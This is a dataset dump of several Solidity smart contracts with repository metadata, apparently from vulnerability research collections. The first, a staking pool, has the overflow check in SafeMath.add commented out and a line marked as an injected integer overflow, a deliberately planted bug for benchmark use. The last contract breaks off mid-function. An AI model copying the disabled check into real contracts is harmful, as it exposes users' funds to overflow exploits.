Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xb2f3d70aa89f4463aa684a41a46b6ada93a613b0_integerOverflow.sol
| 2,924 | 11,416 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
//BSD Zero Clause License: "SPDX-License-Identifier: <SPDX-License>"
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
admin = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract VAPEPOOL1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
//token contract addresses
address public VAPEAddress;
// reward rate % per year
uint public rewardRate = 36000;
uint public rewardInterval = 365 days;
//farming fee in percentage
uint public farmingFeeRate = 0;
//unfarming fee in percentage
uint public unfarmingFeeRate = 0;
//unfarming possible Time
uint public PossibleUnfarmTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private ToBeFarmedTokens;
bool public farmingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public farmingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid address format is not supported");
VAPEAddress = _tokenAddr;
}
function farmingFeeRateSet(uint _farmingFeeRate, uint _unfarmingFeeRate) public onlyOwner returns(bool){
farmingFeeRate = _farmingFeeRate;
unfarmingFeeRate = _unfarmingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
ToBeFarmedTokens = _poolreward;
}
function possibleUnfarmTimeSet(uint _possibleUnfarmTime) public onlyOwner returns(bool){
PossibleUnfarmTime = _possibleUnfarmTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowFarming(bool _status) public onlyOwner returns(bool){
require(VAPEAddress != address(0), "Interracting token addresses are not yet configured");
farmingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == VAPEAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(VAPEAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToFarm) public {
require(farmingStatus == true, "Staking is not yet initialized");
require(amountToFarm > 0, "Cannot deposit 0 Tokens");
require(Token(VAPEAddress).transferFrom(msg.sender, address(this), amountToFarm), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToFarm.mul(farmingFeeRate).div(1e4);
uint amountAfterFee = amountToFarm.sub(fee);
require(Token(VAPEAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
farmingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(farmingTime[msg.sender]) > PossibleUnfarmTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unfarmingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(VAPEAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(VAPEAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimRewards() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= ToBeFarmedTokens) {
return 0;
}
uint remaining = ToBeFarmedTokens.sub(totalClaimedRewards);
return remaining;
}
}
| 280,338 | 10,582 |
129b2624012d68d7ccd8471ade86cc1e0c7914c17dc5d05c804a4cdcf013c408
| 15,544 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x94cac9b8a8e597e5a934b91c0e5a06fe863bde13.sol
| 3,901 | 14,438 |
pragma solidity ^0.4.18; // solhint-disable-line
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoColors {
using SafeMath for uint256;
/// @dev The Birth event is fired whenever a new token comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Referrer payout completed
event Payout(address referrer, uint256 balance);
/// @dev Referrer registered
event ReferrerRegistered(address referrer, address referral);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoColors"; // solhint-disable-line
string public constant SYMBOL = "CLRS"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private firstStepLimit = 0.02 ether;
uint256 private secondStepLimit = 0.5 ether;
uint256 private thirdStepLimit = 2 ether;
uint256 private forthStepLimit = 5 ether;
/// @dev A mapping from token IDs to the address that owns them. All tokens have
/// some valid owner address.
mapping (uint256 => address) public tokenIndexToOwner;
/// @dev A mapping from owner address to count of tokens that address owns.
/// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from TokenIDs to an address that has been approved to call
/// transferFrom(). Each Token can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public tokenIndexToApproved;
/// @dev A mapping from TokenIDs to the price of the token.
mapping (uint256 => uint256) private tokenIndexToPrice;
/// @dev Current referrer balance
mapping (address => uint256) private referrerBalance;
/// @dev A mapping from a token buyer to their referrer
mapping (address => address) private referralToRefferer;
/// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
struct Token {
string name;
}
Token[] private tokens;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function CryptoColors() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId)
public
{
// Caller must own token.
require(_owns(msg.sender, _tokenId));
tokenIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Returns next token price
function _calculateNextPrice(uint256 _sellingPrice) private view returns (uint256 price) {
if (_sellingPrice < firstStepLimit) {
// first stage
return _sellingPrice.mul(200).div(100);
} else if (_sellingPrice < secondStepLimit) {
// second stage
return _sellingPrice.mul(135).div(100);
} else if (_sellingPrice < thirdStepLimit) {
// third stage
return _sellingPrice.mul(125).div(100);
} else if (_sellingPrice < forthStepLimit) {
// forth stage
return _sellingPrice.mul(120).div(100);
} else {
// fifth stage
return _sellingPrice.mul(115).div(100);
}
}
/// @dev Creates a new Token with the given name.
function createContractToken(string _name) public onlyCLevel {
_createToken(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific token.
/// @param _tokenId The tokenId of the token of interest.
function getToken(uint256 _tokenId) public view returns (string tokenName,
uint256 sellingPrice,
address owner) {
Token storage token = tokens[_tokenId];
tokenName = token.name;
sellingPrice = tokenIndexToPrice[_tokenId];
owner = tokenIndexToOwner[_tokenId];
}
/// @dev Get buyer referrer.
function getReferrer(address _address) public view returns (address referrerAddress) {
return referralToRefferer[_address];
}
/// @dev Get referrer balance.
function getReferrerBalance(address _address) public view returns (uint256 totalAmount) {
return referrerBalance[_address];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function payoutToReferrer() public payable {
address referrer = msg.sender;
uint256 totalAmount = referrerBalance[referrer];
if (totalAmount > 0) {
msg.sender.transfer(totalAmount);
referrerBalance[referrer] = 0;
Payout(referrer, totalAmount);
}
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return tokenIndexToPrice[_tokenId];
}
// Purchase token and increse referrer payout
function purchase(uint256 _tokenId, address _referrer) public payable {
address newOwner = msg.sender;
address oldOwner = tokenIndexToOwner[_tokenId];
uint256 sellingPrice = tokenIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = sellingPrice.mul(95).div(100);
uint256 purchaseExcess = msg.value.sub(sellingPrice);
// Calculate 15% ref bonus
uint256 referrerPayout = sellingPrice.sub(payment).mul(15).div(100);
address storedReferrer = getReferrer(newOwner);
// If a referrer is registered
if (_addressNotNull(storedReferrer)) {
// Increase referrer balance
referrerBalance[storedReferrer] += referrerPayout;
} else if (_addressNotNull(_referrer)) {
// Associate a referral with the referrer
referralToRefferer[newOwner] = _referrer;
// Notify subscribers about new referrer
ReferrerRegistered(_referrer, newOwner);
referrerBalance[_referrer] += referrerPayout;
}
// Update prices
tokenIndexToPrice[_tokenId] = _calculateNextPrice(sellingPrice);
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, tokenIndexToPrice[_tokenId], oldOwner, newOwner, tokens[_tokenId].name);
// Transfer excess back to owner
if (purchaseExcess > 0) {
msg.sender.transfer(purchaseExcess);
}
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = tokenIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Tokens array looking for tokens belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId;
for (tokenId = 0; tokenId <= totalTokens; tokenId++) {
if (tokenIndexToOwner[tokenId] == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return tokens.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId)
public
{
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId)
public
{
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return tokenIndexToApproved[_tokenId] == _to;
}
/// For creating Token
function _createToken(string _name, address _owner, uint256 _price) private {
Token memory _token = Token({
name: _name
});
uint256 newTokenId = tokens.push(_token) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newTokenId == uint256(uint32(newTokenId)));
Birth(newTokenId, _name, _owner);
tokenIndexToPrice[newTokenId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newTokenId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Token to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of tokens is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
tokenIndexToOwner[_tokenId] = _to;
// When creating new tokens _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete tokenIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
| 335,366 | 10,583 |
7585e29a2b9937e4b1767c3bd65b87e339a50f3326f482f85923ee78c26850be
| 13,954 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Exchange/0x95e6f48254609a6ee006f7d493c8e5fb97094cef.sol
| 3,157 | 12,589 |
pragma solidity 0.4.24;
contract IOwnable {
function transferOwnership(address newOwner)
public;
}
contract Ownable is
IOwnable
{
address public owner;
constructor ()
public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,
"ONLY_CONTRACT_OWNER");
_;
}
function transferOwnership(address newOwner)
public
onlyOwner
{
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract IAuthorizable is
IOwnable
{
/// @dev Authorizes an address.
/// @param target Address to authorize.
function addAuthorizedAddress(address target)
external;
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
function removeAuthorizedAddress(address target)
external;
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function removeAuthorizedAddressAtIndex(address target,
uint256 index)
external;
/// @dev Gets all authorized addresses.
/// @return Array of authorized addresses.
function getAuthorizedAddresses()
external
view
returns (address[] memory);
}
contract MAuthorizable is
IAuthorizable
{
// Event logged when a new address is authorized.
event AuthorizedAddressAdded(address indexed target,
address indexed caller);
// Event logged when a currently authorized address is unauthorized.
event AuthorizedAddressRemoved(address indexed target,
address indexed caller);
/// @dev Only authorized addresses can invoke functions with this modifier.
modifier onlyAuthorized { revert(); _; }
}
contract MixinAuthorizable is
Ownable,
MAuthorizable
{
/// @dev Only authorized addresses can invoke functions with this modifier.
modifier onlyAuthorized {
require(authorized[msg.sender],
"SENDER_NOT_AUTHORIZED");
_;
}
mapping (address => bool) public authorized;
address[] public authorities;
/// @dev Authorizes an address.
/// @param target Address to authorize.
function addAuthorizedAddress(address target)
external
onlyOwner
{
require(!authorized[target],
"TARGET_ALREADY_AUTHORIZED");
authorized[target] = true;
authorities.push(target);
emit AuthorizedAddressAdded(target, msg.sender);
}
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
function removeAuthorizedAddress(address target)
external
onlyOwner
{
require(authorized[target],
"TARGET_NOT_AUTHORIZED");
delete authorized[target];
for (uint256 i = 0; i < authorities.length; i++) {
if (authorities[i] == target) {
authorities[i] = authorities[authorities.length - 1];
authorities.length -= 1;
break;
}
}
emit AuthorizedAddressRemoved(target, msg.sender);
}
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function removeAuthorizedAddressAtIndex(address target,
uint256 index)
external
onlyOwner
{
require(authorized[target],
"TARGET_NOT_AUTHORIZED");
require(index < authorities.length,
"INDEX_OUT_OF_BOUNDS");
require(authorities[index] == target,
"AUTHORIZED_ADDRESS_MISMATCH");
delete authorized[target];
authorities[index] = authorities[authorities.length - 1];
authorities.length -= 1;
emit AuthorizedAddressRemoved(target, msg.sender);
}
/// @dev Gets all authorized addresses.
/// @return Array of authorized addresses.
function getAuthorizedAddresses()
external
view
returns (address[] memory)
{
return authorities;
}
}
contract ERC20Proxy is
MixinAuthorizable
{
// Id of this proxy.
bytes4 constant internal PROXY_ID = bytes4(keccak256("ERC20Token(address)"));
// solhint-disable-next-line payable-fallback
function ()
external
{
assembly {
// The first 4 bytes of calldata holds the function selector
let selector := and(calldataload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// `transferFrom` will be called with the following parameters:
// assetData Encoded byte array.
// from Address to transfer asset from.
// to Address to transfer asset to.
// amount Amount of asset to transfer.
// bytes4(keccak256("transferFrom(bytes,address,address,uint256)")) = 0xa85e59e4
if eq(selector, 0xa85e59e400000000000000000000000000000000000000000000000000000000) {
// To lookup a value in a mapping, we load from the storage location keccak256(k, p),
// where k is the key left padded to 32 bytes and p is the storage slot
let start := mload(64)
mstore(start, and(caller, 0xffffffffffffffffffffffffffffffffffffffff))
mstore(add(start, 32), authorized_slot)
// Revert if authorized[msg.sender] == false
if iszero(sload(keccak256(start, 64))) {
// Revert with `Error("SENDER_NOT_AUTHORIZED")`
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
mstore(64, 0x0000001553454e4445525f4e4f545f415554484f52495a454400000000000000)
mstore(96, 0)
revert(0, 100)
}
// `transferFrom`.
// The function is marked `external`, so no abi decodeding is done for
// us. Instead, we expect the `calldata` memory to contain the
// following:
//
// | Area | Offset | Length | Contents |
// |----------|--------|---------|-------------------------------------|
// | Header | 0 | 4 | function selector |
// | Params | | 4 * 32 | function parameters: |
// | | 4 | | 1. offset to assetData (*) |
// | | 36 | | 2. from |
// | | 68 | | 3. to |
// | | 100 | | 4. amount |
// | Data | | | assetData: |
// | | 132 | 32 | assetData Length |
// | | 164 | ** | assetData Contents |
//
// (*): offset is computed from start of function parameters, so offset
// by an additional 4 bytes in the calldata.
//
// (**): see table below to compute length of assetData Contents
//
// WARNING: The ABIv2 specification allows additional padding between
// the Params and Data section. This will result in a larger
// offset to assetData.
// Asset data itself is encoded as follows:
//
// | Area | Offset | Length | Contents |
// |----------|--------|---------|-------------------------------------|
// | Header | 0 | 4 | function selector |
// | Params | | 1 * 32 | function parameters: |
// | | 4 | 12 + 20 | 1. token address |
// We construct calldata for the `token.transferFrom` ABI.
// The layout of this calldata is in the table below.
//
// | Area | Offset | Length | Contents |
// |----------|--------|---------|-------------------------------------|
// | Header | 0 | 4 | function selector |
// | Params | | 3 * 32 | function parameters: |
// | | 4 | | 1. from |
// | | 36 | | 2. to |
// | | 68 | | 3. amount |
/////// Read token address from calldata ///////
// * The token address is stored in `assetData`.
//
// * The "offset to assetData" is stored at offset 4 in the calldata (table 1).
// [assetDataOffsetFromParams = calldataload(4)]
//
// * Notes that the "offset to assetData" is relative to the "Params" area of calldata;
// add 4 bytes to account for the length of the "Header" area (table 1).
// [assetDataOffsetFromHeader = assetDataOffsetFromParams + 4]
//
// * The "token address" is offset 32+4=36 bytes into "assetData" (tables 1 & 2).
// [tokenOffset = assetDataOffsetFromHeader + 36 = calldataload(4) + 4 + 36]
let token := calldataload(add(calldataload(4), 40))
/////// Setup Header Area ///////
// This area holds the 4-byte `transferFrom` selector.
// Any trailing data in transferFromSelector will be
// overwritten in the next `mstore` call.
mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
/////// Setup Params Area ///////
// We copy the fields `from`, `to` and `amount` in bulk
// from our own calldata to the new calldata.
calldatacopy(4, 36, 96)
/////// Call `token.transferFrom` using the calldata ///////
let success := call(gas, // forward all gas
token, // call address of token contract
0, // don't send any ETH
0, // pointer to start of input
100, // length of input
0, // write output over input
32 // output size should be 32 bytes)
/////// Check return data. ///////
// If there is no return data, we assume the token incorrectly
// does not return a bool. In this case we expect it to revert
// on failure, which was handled above.
// If the token does return data, we require that it is a single
// nonzero 32 bytes value.
// So the transfer succeeded if the call succeeded and either
// returned nothing, or returned a non-zero 32 byte value.
success := and(success, or(iszero(returndatasize),
and(eq(returndatasize, 32),
gt(mload(0), 0))))
if success {
return(0, 0)
}
// Revert with `Error("TRANSFER_FAILED")`
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
mstore(64, 0x0000000f5452414e534645525f4641494c454400000000000000000000000000)
mstore(96, 0)
revert(0, 100)
}
// Revert if undefined function is called
revert(0, 0)
}
}
/// @dev Gets the proxy id associated with the proxy address.
/// @return Proxy id.
function getProxyId()
external
pure
returns (bytes4)
{
return PROXY_ID;
}
}
| 336,233 | 10,584 |
7396a7f21b091edafb717bcb72dfda135c8540e1e266e386442fa13cf1d47ded
| 14,682 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe5d078f380d67b72ece5c55c65c4e0ec97ea1439.sol
| 3,276 | 13,405 |
pragma solidity >=0.4.22 <0.6.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library DateTime {
struct MyDateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) public pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (MyDateTime memory dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
